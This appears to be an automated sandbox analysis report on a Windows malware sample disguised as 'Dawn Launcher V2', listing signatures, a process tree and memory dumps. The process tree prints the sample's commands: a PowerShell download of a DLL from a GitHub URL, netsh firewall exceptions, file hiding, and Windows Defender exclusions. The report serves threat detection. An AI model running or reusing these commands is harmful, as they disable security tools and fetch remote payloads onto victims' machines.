Analysis
- max time kernel
5s - max time network
140s - platform
windows7_x64 - resource
win7-20231129-en - resource tags
- submitted
07/01/2024, 19:22
General
- Target aa947ac87e8151f7a183a3ce9b0d5860.exe
- Size 14.2MB
- Sample240107-x3a4lsdcc2
- SHA256 ca1cabde17679a02f29582e8e15a59936bb6aea4c54793e1e01e1c2305c8b6a0
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/NGROKC/CTC/raw/main/SInject2.dll
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies Windows Firewall 1 TTPs 2 IoCs
- Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 2 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Drops file in System32 directory 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe"C:\Users\Admin\AppData\Local\Temp\tmp1D02.tmpDawn Launcher V2.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"2⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe" C:\Users\Admin\AppData\Roaming\Dawn.exe2⤵
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\Dawn.exe"C:\Users\Admin\AppData\Roaming\Dawn.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp3717.tmpDawn Launcher V2.exe"C:\Users\Admin\AppData\Local\Temp\tmp3717.tmpDawn Launcher V2.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Roaming\Dawn.exe"3⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Dawn.exe" "Dawn.exe" ENABLE3⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Dawn.exe" "Dawn.exe" ENABLE3⤵
- Modifies Windows Firewall
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\inj.bat" "3⤵
-
-
C:\Windows\SysWOW64\certutil.execertutil -encode C:\Users\Admin\AppData\Roaming\SInject1.exe C:\Users\Admin\AppData\Roaming\SInject3.bin3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,vbs,bat,hta,lnk,dll,ps1;exit3⤵
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h +r "C:\Users\Admin\AppData\Roaming\Dawn.exe"1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/SInject2.dll','C:\Users\Admin\AppData\Roaming\SInject2.dll');exit1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
tmp1D02.tmpDawn Launcher V2.exe
tmp1D02.tmpDawn Launcher V2.exe
tmp1D02.tmpDawn Launcher V2.exe
tmp1D02.tmpDawn Launcher V2.exe
memory/872-119-0x0000000073EA0000-0x000000007458E000-memory.dmp
memory/872-256-0x0000000005530000-0x0000000005570000-memory.dmp
memory/872-232-0x0000000005530000-0x0000000005570000-memory.dmp
memory/872-214-0x0000000073EA0000-0x000000007458E000-memory.dmp
memory/872-121-0x00000000009F0000-0x0000000001826000-memory.dmp
memory/2088-29-0x0000000076F10000-0x0000000076F12000-memory.dmp
memory/2088-49-0x0000000076F50000-0x0000000076F52000-memory.dmp
memory/2088-48-0x0000000076F40000-0x0000000076F42000-memory.dmp
memory/2088-50-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-54-0x0000000076F50000-0x0000000076F52000-memory.dmp
memory/2088-65-0x0000000076F70000-0x0000000076F72000-memory.dmp
memory/2088-14-0x0000000076EE0000-0x0000000076EE2000-memory.dmp
memory/2088-78-0x0000000076F90000-0x0000000076F92000-memory.dmp
memory/2088-81-0x0000000076FA0000-0x0000000076FA2000-memory.dmp
memory/2088-86-0x0000000140000000-0x0000000141F88000-memory.dmp
memory/2088-88-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-94-0x0000000076FB0000-0x0000000076FB2000-memory.dmp
memory/2088-92-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-79-0x0000000076FA0000-0x0000000076FA2000-memory.dmp
memory/2088-109-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-76-0x0000000076F90000-0x0000000076F92000-memory.dmp
memory/2088-74-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-73-0x0000000076F90000-0x0000000076F92000-memory.dmp
memory/2088-72-0x0000000076F80000-0x0000000076F82000-memory.dmp
memory/2088-70-0x0000000076F80000-0x0000000076F82000-memory.dmp
memory/2088-69-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-66-0x0000000076F80000-0x0000000076F82000-memory.dmp
memory/2088-63-0x0000000076F70000-0x0000000076F72000-memory.dmp
memory/2088-61-0x0000000076F70000-0x0000000076F72000-memory.dmp
memory/2088-60-0x0000000076F60000-0x0000000076F62000-memory.dmp
memory/2088-15-0x0000000076EF0000-0x0000000076EF2000-memory.dmp
memory/2088-56-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-55-0x0000000076F60000-0x0000000076F62000-memory.dmp
memory/2088-52-0x0000000076F50000-0x0000000076F52000-memory.dmp
memory/2088-19-0x0000000076EF0000-0x0000000076EF2000-memory.dmp
memory/2088-46-0x0000000076F40000-0x0000000076F42000-memory.dmp
memory/2088-44-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-43-0x0000000076F40000-0x0000000076F42000-memory.dmp
memory/2088-40-0x0000000076F30000-0x0000000076F32000-memory.dmp
memory/2088-38-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-37-0x0000000076F30000-0x0000000076F32000-memory.dmp
memory/2088-34-0x0000000076F20000-0x0000000076F22000-memory.dmp
memory/2088-32-0x0000000076F20000-0x0000000076F22000-memory.dmp
memory/2088-31-0x0000000076F10000-0x0000000076F12000-memory.dmp
memory/2088-17-0x0000000076EF0000-0x0000000076EF2000-memory.dmp
memory/2088-27-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-26-0x0000000076F10000-0x0000000076F12000-memory.dmp
memory/2088-23-0x0000000076F00000-0x0000000076F02000-memory.dmp
memory/2088-21-0x0000000076F00000-0x0000000076F02000-memory.dmp
memory/2088-42-0x0000000076F30000-0x0000000076F32000-memory.dmp
memory/2088-20-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-58-0x0000000076F60000-0x0000000076F62000-memory.dmp
memory/2088-12-0x0000000076EE0000-0x0000000076EE2000-memory.dmp
memory/2088-10-0x0000000140000000-0x0000000141F88000-memory.dmp
memory/2088-9-0x0000000076EE0000-0x0000000076EE2000-memory.dmp
memory/2088-129-0x0000000140000000-0x0000000141F88000-memory.dmp
memory/2088-36-0x0000000076F20000-0x0000000076F22000-memory.dmp
memory/2088-25-0x0000000076F00000-0x0000000076F02000-memory.dmp
memory/2088-120-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2088-128-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/2320-1-0x00000000010B0000-0x0000000001EE6000-memory.dmp
memory/2320-116-0x0000000073F30000-0x000000007461E000-memory.dmp
memory/2320-67-0x0000000073F30000-0x000000007461E000-memory.dmp
memory/2320-0-0x0000000073F30000-0x000000007461E000-memory.dmp
memory/2424-273-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2424-272-0x0000000002960000-0x00000000029A0000-memory.dmp
memory/2424-277-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2424-276-0x0000000002960000-0x00000000029A0000-memory.dmp
memory/2424-271-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2476-278-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2476-274-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2476-275-0x0000000002B60000-0x0000000002BA0000-memory.dmp
memory/2476-279-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2476-280-0x000000006E380000-0x000000006E92B000-memory.dmp
memory/2660-249-0x00000000028B0000-0x00000000028F0000-memory.dmp
memory/2660-255-0x000000006E510000-0x000000006EABB000-memory.dmp
memory/2660-248-0x000000006E510000-0x000000006EABB000-memory.dmp
memory/2660-251-0x00000000028B0000-0x00000000028F0000-memory.dmp
memory/2660-252-0x000000006E510000-0x000000006EABB000-memory.dmp
memory/2660-250-0x00000000028B0000-0x00000000028F0000-memory.dmp
memory/3060-202-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-233-0x0000000140000000-0x0000000141F88000-memory.dmp
memory/3060-231-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-228-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-226-0x0000000140000000-0x0000000141F88000-memory.dmp
memory/3060-216-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-234-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-197-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-191-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-180-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-152-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-173-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-163-0x0000000076D30000-0x0000000076ED9000-memory.dmp
memory/3060-143-0x0000000076D30000-0x0000000076ED9000-memory.dmp